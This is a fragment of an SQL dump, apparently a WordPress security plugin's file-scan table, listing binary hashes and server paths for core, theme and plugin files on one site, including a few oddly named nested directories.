('nM\02]\r^r','wp-content/themes/twentytwentyone/assets/sass/05-blocks/table/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/table/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/\nBt;','VYj8b5fc]7WiƘ2HN}2^','',0,'?'),
('{hB-o:Ih','wp-includes/blocks/query-pagination-numbers/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination-numbers/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@E(1˱eB','O;\nV[%\Z3Ehdx:{','',0,'?'),
('ީǕQhd^ܡm','wp-includes/SimplePie/library/SimplePie/Core.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Core.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#߷\0\'\nFt','-Oz\n-ջ1o[	','',0,'?'),
('y> i','wp-content/plugins/wordfence/views/scanner/text/issue-wfPluginVulnerable.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-wfPluginVulnerable.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3N\\@:bl	tv','ߕ*zFXze>n5(<8\"[%2*O','',0,'?'),
('vA\nGr3C9`','wp-admin/includes/class-wp-internal-pointers.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-internal-pointers.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','frȗVC4ϸ','u	o L\"fz\'ס=^k՘]WOu','',0,'?'),
(',Q>;ij','wp-includes/SimplePie/library/SimplePie/Registry.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Registry.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Fi<h|','t]8%cFU)FnrfIe','',0,'?'),
('3X/\'P','wp-content/themes/twentytwentyone/inc/starter-content.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/inc/starter-content.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','seKdQd','ZZVBMVb4g7p*D','',0,'?'),
('Ebl8y}','wp-includes/js/tinymce/plugins/link/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/link/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*NȒmQ','`3cYQ9Wޭ#lpS+G4','',0,'?'),
('WnJ.\'/x','wp-includes/blocks/embed/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/embed/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vM0AW+{-W','ΛQ=12g60j0','',0,'?'),
(']M4:BId	','wp-includes/blocks/math/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/math/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' N\\0 Aͮ\"','߉^^SxSϟ1h*fq[k','',0,'?'),
('h\'hQ{9`','wp-includes/Requests/src/Exception/Http/Status401.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status401.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','RuM6/R\\','9`s-KGHےw3޲7	','',0,'?'),
('q-@\rt','wp-admin/includes/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/includes/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Ǔ肴l','wp-content/themes/twentytwenty/assets/js/editor-script-block.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/js/editor-script-block.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','AQ~.Yf1:D',':馈xt[cJ=\Z\Zh0','',0,'?'),
('WkV','wp-includes/blocks/comments-title.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-title.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@RxᛱH','/eA[\'\\o=o*dE@˛0','',0,'?'),
('?z6aDz','wp-content/plugins/wordfence/images/loading.gif','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/loading.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K:m𙗣P','j*edoX~7&N9|L','',0,'?'),
('אabބ^,X','wp-includes/blocks/term-name/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-name/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g&\njVSbf\\[','*v\'o4P{+`4BLUӻ;[S','',0,'?'),
('и+:3XnNtexX','wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmSU5fChc-AMP6lbBP.woff','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmSU5fChc-AMP6lbBP.woff',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{W7h>','	2mw3)zWgv{AfHu`Co','',0,'?'),
('ʆnD㮖(','wp-admin/css/install.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/install.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|4X','/Y$._	r<fuuJj','',0,'?'),
('KSEōL3','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/stream-xchacha20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/stream-xchacha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oK^]|x','MXNQ`+ܗ	Bra','',0,'?'),
(')ũ2[	4_a','wp-includes/class-walker-category-dropdown.php','/home/trevorkl/trevorklee.com/wp-includes/class-walker-category-dropdown.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ԂIV*t','Iw^KHĶ\\s~BW㺾fI','',0,'?'),
('+o28E+K%;','wp-includes/PHPMailer/PHPMailer.php','/home/trevorkl/trevorklee.com/wp-includes/PHPMailer/PHPMailer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\r]ʽeIHhl$','2ePA9ebi3H/U\r]U~','',0,'?'),
(':+[gCZ','wp-includes/template-loader.php','/home/trevorkl/trevorklee.com/wp-includes/template-loader.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?u\n=Kyit','\n+j)!{W`;O~','',0,'?'),
('FLJ9L0','wp-includes/blocks/accordion-heading/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-heading/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Yr~Ҁ:$!','wp-content/plugins/wordfence/modules/login-security/classes/utility/databaselock.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/databaselock.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[{7DYhЧmf}\rf','\n?\raؐAL:, ={L5}+,','',0,'?'),
('i2O׍+sX.','wp-includes/js/jquery/ui/core.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/core.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','82Yfgp','?U7DoszX-҂b|\Z','',0,'?'),
('k\nh','wp-content/themes/twentytwentyfour/patterns/hidden-search.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-search.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' }3UA,,','kpik[ӣØX~mxo','',0,'?'),
('<%ʉz','wp-includes/js/dist/script-modules/interactivity/index.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/interactivity/index.min.asset.php',0,'8ϙf>\nVh','8ϙf>\nVh','ITazkCz؂9Ȓ\ZgN','',0,'?'),
('yEb+D\\','wp-includes/blocks/social-link/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/social-link/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('@<N8iy','wp-includes/blocks/separator/theme-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/separator/theme-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','EOcm{','/`i-^3җ;BT;#\0r}:j','',0,'?'),
('e-\nyV','wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|Wwb>EyJ','\'~6ȝ\nBagzdQ','',0,'?'),
('|--x','wp-includes/blocks/post-comments-link/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-link/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','j\nz','\'N2Yly7xHy|','',0,'?'),
('PUac','wp-includes/sodium_compat/src/Core32/Curve25519/Ge/P2.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/Ge/P2.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','YAG=bu','z,ͥt	<{@Y{iysc(SL','',0,'?'),
('nvZYV','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/init.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/init.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n6G6)(P','CXEa/fPK{˾^j\"C3FeִS','',0,'?'),
('ߜkѿ{͕=w','wp-includes/blocks/query-no-results/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-no-results/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('{/趒Z','wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','e1!hmeI֜)o','3B\\DhDWIl@0','',0,'?'),
('!\"roɿM8','wp-content/themes/twentynineteen/inc/icon-functions.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/inc/icon-functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p\"QjEyEK','B!NW=45`yj','',0,'?'),
('B%v6I\"Jb4ӡT','wp-admin/link-manager.php','/home/trevorkl/trevorklee.com/wp-admin/link-manager.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T5}+;	M	','qHrY)Y7F;eq-t$G2q','',0,'?'),
('BK@~&^8','wp-content/themes/twentynineteen/style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','F2Ӽu\0X','^Lc{EKZY2#l7y~w3\Z','',0,'?'),
('x\ZSPM','wp-includes/Text/udewhxn/krxqwmf/index.html','/home/trevorkl/trevorklee.com/wp-includes/Text/udewhxn/krxqwmf/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('9}#Ɓ','wp-includes/blocks/query/view.min.js','/home/trevorkl/trevorklee.com/wp-includes/blocks/query/view.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','i[I,HN','yq?Kbh8B>_O	k75Tŀ','',0,'?'),
('w.(	=','wp-includes/blocks/navigation-link/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-link/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dqL,','-ly y-ROM\\te=fh&%r','',0,'?'),
('I6F','wp-includes/blocks/rss/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/rss/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','clsv4\r','h;X#0A(Gbɿr','',0,'?'),
('>AB7Sz!e','wp-admin/includes/export.php','/home/trevorkl/trevorklee.com/wp-admin/includes/export.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/7|巐5p','m{N.(qWn`4)`Z@î}M','',0,'?'),
('\rMDenr','wp-content/themes/twentytwentyfour/assets/fonts/cardo/cardo_normal_700.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/cardo/cardo_normal_700.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','߷Ld*+L>','6[\05ZG34=15qSwiqJO','',0,'?'),
('2P&zZ.ۍ','wp-includes/blocks/term-description.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-description.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','aT','ꊊNy%\"\\eJֶ\\2f#','',0,'?'),
(']bǧ=','wp-content/themes/twentytwentyfive/assets/images/agenda-img-4.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/agenda-img-4.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?>ܝegW','qkΞQ[(Q}zCt','',0,'?'),
('|0O+]lU','wp-includes/js/dist/a11y.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/a11y.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k5]!nO82','pID\\	\ngdwT҆\0','',0,'?'),
('OV<5xjlt$','wp-includes/blocks/separator/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/separator/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\00,5mvVԳa_z','wp-admin/images/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/images/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('f~چ+5!Z','wp-includes/Text/elbyraq/1qafueo/index.html','/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('ysDn֊@','wp-content/themes/twentytwentyfive/patterns/template-single-vertical-header-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-single-vertical-header-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ι3(+T?','犧;R]aõI\rT','',0,'?'),
('1eUMV^','wp-admin/includes/misc.php','/home/trevorkl/trevorklee.com/wp-admin/includes/misc.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?R\Z甖','A;7RTRe+:%\rz|;\r','',0,'?'),
('=xbF\"Hw&g','wp-includes/sitemaps/ubxnoaj/xwlk1ch/slmhuvx/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ubxnoaj/xwlk1ch/slmhuvx/index.php',0,'J+(m__v','J+(m__v','yIMvfle(er[z^OW%	AߜG_','',0,'?'),
('G\noc$I/g9','wp-content/themes/twentytwentyfour/templates/search.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/search.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b752]D^K,z','X*M}d)ďxiKfvsY?','',0,'?'),
('P4ՓQ)zS','wp-content/themes/twentytwentyone/assets/sass/04-elements/forms.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/04-elements/forms.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MGᆻ$','*+\0%G;_dE}u-4w\"','',0,'?'),
('^zaw-YV?]w4','wp-includes/js/dist/script-modules/block-library/search/view.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/search/view.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0<IT]\0Z','&sva&m\Z~<ݕ~UV','',0,'?'),
('WBTpԩC5','wp-content/themes/twentytwentyfour/functions.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kF@){0Ū&.Di','Aa7tid4/wW\\nn_$','',0,'?'),
('FճD~֫Cʽ','wp-includes/css/dist/edit-post/classic.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/classic.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W\"!hQ([oZ','pNZ*4HPPI^MnZCV','',0,'?'),
('\0>#z(','wp-includes/bookmark.php','/home/trevorkl/trevorklee.com/wp-includes/bookmark.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']2s!fv','!ˈ/><tP@mlqh','',0,'?'),
('Eϡ>\0D','wp-content/plugins/simpletoc/build/style-index.css','/home/trevorkl/trevorklee.com/wp-content/plugins/simpletoc/build/style-index.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U!̩yOrS',' qׅr#-ed}pFd=G','',0,'?'),
('}','wp-admin/media-upload.php','/home/trevorkl/trevorklee.com/wp-admin/media-upload.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','F5<I\'PECpx','jsiڙ#\r`~l@h:\\','',0,'?'),
('c\\a+&G','wp-includes/SimplePie/library/SimplePie/Category.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Category.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','܌4یAڠ','vEt8G0%GPր?>f9[p','',0,'?'),
('f[aab','wp-includes/blocks/navigation/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('EW|qX^n','wp-content/plugins/loginizer/assets/images/social/TwitchTV.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/social/TwitchTV.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.6U$57','SjMŇ[A7B\rFKЃU','',0,'?'),
('@\'yq','wp-includes/blocks/query-pagination/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','呔`J[,','75oj@qԵucd7ieÅP\r)','',0,'?'),
('kV72+','wp-includes/blocks/heading/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/heading/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','FUU<<_FK','pEkKO$ʗ(}{*1\Z','',0,'?'),
('䨣FwX','wp-includes/Requests/src/Exception/Http/Status431.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status431.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?M--k\\Ѥ','J]e&Ɇ%49 S3JCػ\04쳫 ','',0,'?'),
('ק\ZSܹc.-','wp-includes/Text/Exception.php','/home/trevorkl/trevorklee.com/wp-includes/Text/Exception.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-ɭQ>\Zw=',']n_ԓJ]R㻁\nk0+usGM','',0,'?'),
('JH6KFp~','wp-includes/blocks/social-link/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/social-link/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&VuYf\rXCuz','<^;ܕ\"M,gYJEYv!S\"','',0,'?'),
('Pw0h9','wp-includes/js/tinymce/plugins/fullscreen/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/fullscreen/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Y2İ\rm}%','3].BCBeʢS( ?Z{','',0,'?'),
('3Wx)gl','wp-includes/blocks/video/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/video/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(';j|:1/','wp-admin/site-health-info.php','/home/trevorkl/trevorklee.com/wp-admin/site-health-info.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sXPE4,p','VۈeP;\\io%<ġC\Z','',0,'?'),
('<eaRpq','wp-includes/css/dist/admin-ui/admin-ui/index.php','/home/trevorkl/trevorklee.com/wp-includes/css/dist/admin-ui/admin-ui/index.php',0,'rx\0','rx\0','౥KEa\\kK(aT۲7F','',0,'?'),
('B yw+|t','wp-includes/class-wp-http-requests-response.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-http-requests-response.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f;h%+','߈ÏS#4{2_ʰbHTl','',0,'?'),
('J&_#3Sq','wp-admin/images/spinner-2x.gif','/home/trevorkl/trevorklee.com/wp-admin/images/spinner-2x.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','12^#8','#˒=$c6	B46','',0,'?'),
('V+@0pɏhi','wp-includes/rest-api/class-wp-rest-response.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/class-wp-rest-response.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','q_?e:@u','E\ZNP B[˙5\\-̱','',0,'?'),
('Z)_w\'$X','wp-includes/class-wp-block-parser.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-parser.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ԊW\'o/4UXg','hu>p=[YME$av','',0,'?'),
('^Sx_?uGD','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/H.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/H.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Hd9<Cˤbl','K.Boࣸvb%S~1K','',0,'?'),
('b~5aI@)*','wp-includes/class-wp-site.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-site.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g&DÞͦ','\n9TJ~af\'@>;D1@','',0,'?'),
('fL,#','wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php',0,'^ɨ=ɟ_B6H','^ɨ=ɟ_B6H','\'aZ2Un*h2AP5e5xA ','',0,'?'),
('fG<@៝N-','wp-admin/includes/class-wp-privacy-requests-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-privacy-requests-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ۘ\\\rl',']ٍM1L Xd0=\n','',0,'?'),
('x9p2wB','wp-includes/ms-network.php','/home/trevorkl/trevorklee.com/wp-includes/ms-network.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5~,|:䑺`]','(Vβؿ=ղ\Z_y','',0,'?'),
('콴)IS','wp-includes/Requests/src/Exception/Http/Status418.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status418.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Pwu5`4','2en2Τ}a&\0&Ҡ#[%','',0,'?'),
('\\:ڈ)g,\\','wp-includes/images/smilies/icon_twisted.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_twisted.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Lv[?+*8;','VHhK\np;.&/E','',0,'?'),
('ZViAMu','wp-includes/blocks/term-name/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-name/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6qVjgg^;*','3/2vδh\n+9kF','',0,'?'),
('e-osŕ;/','wp-content/themes/twentynineteen/style-editor-customizer.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/style-editor-customizer.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','条~.UWQ','z74|X1#{/Yio(','',0,'?'),
('!ES7x','wp-content/wflogs/rules.php','/home/trevorkl/trevorklee.com/wp-content/wflogs/rules.php',0,'9G%#1urA0m6','9G%#1urA0m6','>mm:=\nţ_A\0eO(\r_','',0,'?'),
('3vU\Z3P^O ','wp-admin/css/widgets-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/widgets-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{!\0S(,','깋y_B\",@~.1	','',0,'?'),
('L Ufu<','wp-admin/images/icons32-vs.png','/home/trevorkl/trevorklee.com/wp-admin/images/icons32-vs.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',P*{>vUf','?UzP\\@`8g;\rE','',0,'?'),
(',vg--P','wp-includes/images/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/images/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ڻHIw>i','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+C','_>(QUz^aɬfjjeB','',0,'?'),
('=~fCӸ;ˠ','wp-content/themes/twentytwentyfour/patterns/gallery-offset-images-grid-4-col.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/gallery-offset-images-grid-4-col.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1CT{XX','5NkN\r`ņ\'Ef3d+`','',0,'?'),
('С!|ۇHb','wp-includes/blocks/gallery/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/gallery/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('vdEI|I','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/ristretto255.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/ristretto255.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','snq,jɇN','.L]jǼvW1L\0є\na82','',0,'?'),
('[!','wp-content/themes/twentytwentyfive/patterns/template-archive-news-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-archive-news-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$,XxJs7','	3_C0Pډ\0*JSFo,&','',0,'?'),
('#;NEm+vyJU','wp-includes/SimplePie/library/SimplePie/Content/Type/Sniffer.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Content/Type/Sniffer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zWn+','=0sF8b9qHbm2S','',0,'?'),
('ZQ+xr0','wp-includes/blocks/media-text/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/media-text/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' x&\"sG]','7n,iظB/GJO߿(','',0,'?'),
('v\"fo\rݿ^L','wp-includes/js/dist/script-modules/connectors/index.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/connectors/index.min.js',0,'%[f?VRW-','%[f?VRW-','6#ejd2\"^|YV%N	','',0,'?'),
('[B^	Z1','wp-content/themes/twentynineteen/template-parts/content/content.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/content/content.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','v\nqYĸ`p','?Zt-(D~$mͼwjx$\n^E','',0,'?'),
('Û\05\0\\*.2g','wp-admin/css/colors/sunrise/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/css/colors/sunrise/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\" 6A7^H','wp-includes/blocks/cover/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/cover/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','cW)z\nC/','$Io@Bt6w׀x8+','',0,'?'),
('5+l@-\n]','wp-includes/js/dist/script-modules/interactivity-router/index.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/interactivity-router/index.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"\ZUU@rk~','}3jXSt0tgc7 $','',0,'?'),
(':=%M۵','wp-includes/template.php','/home/trevorkl/trevorklee.com/wp-includes/template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z\0eW,:','XE(RY\Z%l߂7r\rw1','',0,'?'),
('I{?r]7','wp-admin/images/resize-rtl.gif','/home/trevorkl/trevorklee.com/wp-admin/images/resize-rtl.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nC%YfvF.z','@St-]z\'+k2{j,QN~)	>','',0,'?'),
('` ƢXv{;','wp-includes/js/dist/edit-post.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/edit-post.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u\n*{r|','Pss=4Q\\ mǪS}-(u','',0,'?'),
